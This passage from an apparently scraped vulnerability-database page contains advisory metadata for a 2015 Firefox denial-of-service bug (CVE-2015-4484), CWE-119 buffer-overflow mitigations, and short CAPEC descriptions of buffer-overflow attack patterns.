      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2016/05/30/3"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/90927"
    },
    {
      "type": "WEB",
      "url": "http://www.ubuntu.com/usn/USN-3047-1"
    },
    {
      "type": "WEB",
      "url": "http://www.ubuntu.com/usn/USN-3047-2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-C78V-3PFM-39G8

Vulnerability from github – Published: 2022-05-14 02:07 – Updated: 2022-05-14 02:07
VLAI
Details

The js::jit::AssemblerX86Shared::lock_addl function in the JavaScript implementation in Mozilla Firefox before 40.0 and Firefox ESR 38.x before 38.2 allows remote attackers to cause a denial of service (application crash) by leveraging the use of shared memory and accessing (1) an Atomics object or (2) a SharedArrayBuffer object.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2015-4484"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-119"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2015-08-16T01:59:00Z",
    "severity": "MODERATE"
  },
  "details": "The js::jit::AssemblerX86Shared::lock_addl function in the JavaScript implementation in Mozilla Firefox before 40.0 and Firefox ESR 38.x before 38.2 allows remote attackers to cause a denial of service (application crash) by leveraging the use of shared memory and accessing (1) an Atomics object or (2) a SharedArrayBuffer object.",
  "id": "GHSA-c78v-3pfm-39g8",
  "modified": "2022-05-14T02:07:18Z",
  "published": "2022-05-14T02:07:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2015-4484"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1171540"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/201605-06"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2015-08/msg00014.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2015-08/msg00015.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2015-08/msg00021.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2015-09/msg00016.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2015-11/msg00025.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-updates/2015-08/msg00030.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-updates/2015-08/msg00031.html"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2015-1586.html"
    },
    {
      "type": "WEB",
      "url": "http://www.debian.org/security/2015/dsa-3333"
    },
    {
      "type": "WEB",
      "url": "http://www.mozilla.org/security/announce/2015/mfsa2015-87.html"
    },
    {
      "type": "WEB",
      "url": "http://www.oracle.com/technetwork/topics/security/bulletinapr2016-2952098.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1033247"
    },
    {
      "type": "WEB",
      "url": "http://www.ubuntu.com/usn/USN-2702-1"
    },
    {
      "type": "WEB",
      "url": "http://www.ubuntu.com/usn/USN-2702-2"
    },
    {
      "type": "WEB",
      "url": "http://www.ubuntu.com/usn/USN-2702-3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}
Mitigation MIT-3
Requirements

Strategy: Language Selection

  • Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer.
  • Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.
Mitigation MIT-4.1
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • Examples include the Safe C String Library (SafeStr) by Messier and Viega [REF-57], and the Strsafe.h library from Microsoft [REF-56]. These libraries provide safer versions of overflow-prone string-handling functions.
Mitigation MIT-10
Operation Build and Compilation

Strategy: Environment Hardening

  • Use automatic buffer overflow detection mechanisms that are offered by certain compilers or compiler extensions. Examples include: the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice, which provide various mechanisms including canary-based detection and range/index checking.
  • D3-SFCV (Stack Frame Canary Validation) from D3FEND [REF-1334] discusses canary-based detection in detail.
Mitigation MIT-9
Implementation
  • Consider adhering to the following rules when allocating and managing an application's memory:
  • Double check that the buffer is as large as specified.
  • When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string.
  • Check buffer boundaries if accessing the buffer in a loop and make sure there is no danger of writing past the allocated space.
  • If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.
Mitigation MIT-11
Operation Build and Compilation

Strategy: Environment Hardening

  • Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code.
  • Examples include Address Space Layout Randomization (ASLR) [REF-58] [REF-60] and Position-Independent Executables (PIE) [REF-64]. Imported modules may be similarly realigned if their default memory addresses conflict with other modules, in a process known as "rebasing" (for Windows) and "prelinking" (for Linux) [REF-1332] using randomly generated addresses. ASLR for libraries cannot be used in conjunction with prelink since it would require relocating the libraries at run-time, defeating the whole purpose of prelinking.
  • For more information on these techniques see D3-SAOR (Segment Address Offset Randomization) from D3FEND [REF-1335].
Mitigation MIT-12
Operation

Strategy: Environment Hardening

  • Use a CPU and operating system that offers Data Execution Protection (using hardware NX or XD bits) or the equivalent techniques that simulate this feature in software, such as PaX [REF-60] [REF-61]. These techniques ensure that any instruction executed is exclusively at a memory address that is part of the code segment.
  • For more information on these techniques see D3-PSEP (Process Segment Execution Prevention) from D3FEND [REF-1336].
Mitigation MIT-13
Implementation

Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy. Create these if they are not available.

CAPEC-10: Buffer Overflow via Environment Variables

This attack pattern involves causing a buffer overflow through manipulation of environment variables. Once the adversary finds that they can modify an environment variable, they may try to overflow associated buffers. This attack leverages implicit trust often placed in environment variables.

CAPEC-100: Overflow Buffers

Buffer Overflow attacks target improper or missing bounds checking on buffer operations, typically triggered by input injected by an adversary. As a consequence, an adversary is able to write past the boundaries of allocated buffer regions in memory, causing a program crash or potentially redirection of execution as per the adversaries' choice.

CAPEC-123: Buffer Manipulation

An adversary manipulates an application's interaction with a buffer in an attempt to read or modify data they shouldn't have access to. Buffer attacks are distinguished in that it is the buffer space itself that is the target of the attack rather than any code responsible for interpreting the content of the buffer. In virtually all buffer attacks the content that is placed in the buffer is immaterial. Instead, most buffer attacks involve retrieving or providing more input than can be stored in the allocated buffer, resulting in the reading or overwriting of other unintended program memory.

CAPEC-14: Client-side Injection-induced Buffer Overflow

This type of attack exploits a buffer overflow vulnerability in targeted client software through injection of malicious content from a custom-built hostile service. This hostile service is created to deliver the correct content to the client software. For example, if the client-side application is a browser, the service will host a webpage that the browser loads.

CAPEC-24: Filter Failure through Buffer Overflow

In this attack, the idea is to cause an active filter to fail by causing an oversized transaction. An attacker may try to feed overly long input strings to the program in an attempt to overwhelm the filter (by causing a buffer overflow) and hoping that the filter does not fail securely (i.e. the user input is let into the system unfiltered).

CAPEC-42: MIME Conversion

An attacker exploits a weakness in the MIME conversion routine to cause a buffer overflow and gain control over the mail server machine. The MIME system is designed to allow various different information formats to be interpreted and sent via e-mail. Attack points exist when data are converted to MIME compatible format and back.

CAPEC-44: Overflow Binary Resource File

An attack of this type exploits a buffer overflow vulnerability in the handling of binary resources. Binary resources may include music files like MP3, image files like JPEG files, and any other binary file. These attacks may pass unnoticed to the client machine through normal usage of files, such as a browser loading a seemingly innocent JPEG file. This can allow the adversary access to the execution stack and execute arbitrary code in the target process.

CAPEC-45: Buffer Overflow via Symbolic Links

This type of attack leverages the use of symbolic links to cause buffer overflows. An adversary can try to create or manipulate a symbolic link file such that its contents result in out of bounds data. When the target software processes the symbolic link file, it could potentially overflow internal buffers with insufficient bounds checking.

CAPEC-46: Overflow Variables and Tags

This type of attack leverages the use of tags or variables from a formatted configuration data to cause buffer overflow. The adversary crafts a malicious HTML page or configuration file that includes oversized strings, thus causing an overflow.

CAPEC-47: Buffer Overflow via Parameter Expansion

In this attack, the target software is given input that the adversary knows will be modified and expanded in size during processing. This attack relies on the target software failing to anticipate that the expanded data may exceed some internal limit, thereby creating a buffer overflow.

CAPEC-8: Buffer Overflow in an API Call

This attack targets libraries or shared code modules which are vulnerable to buffer overflow attacks. An adversary who has knowledge of known vulnerable libraries or shared code can easily target software that makes use of these libraries. All clients that make use of the code library thus become vulnerable by association. This has a very broad effect on security across a system, usually affecting more than one software process.

CAPEC-9: Buffer Overflow in Local Command-Line Utilities

This attack targets command-line utilities available in a number of shells. An adversary can leverage a vulnerability found in a command-line utility to escalate privilege to root.

← Back to the CWE list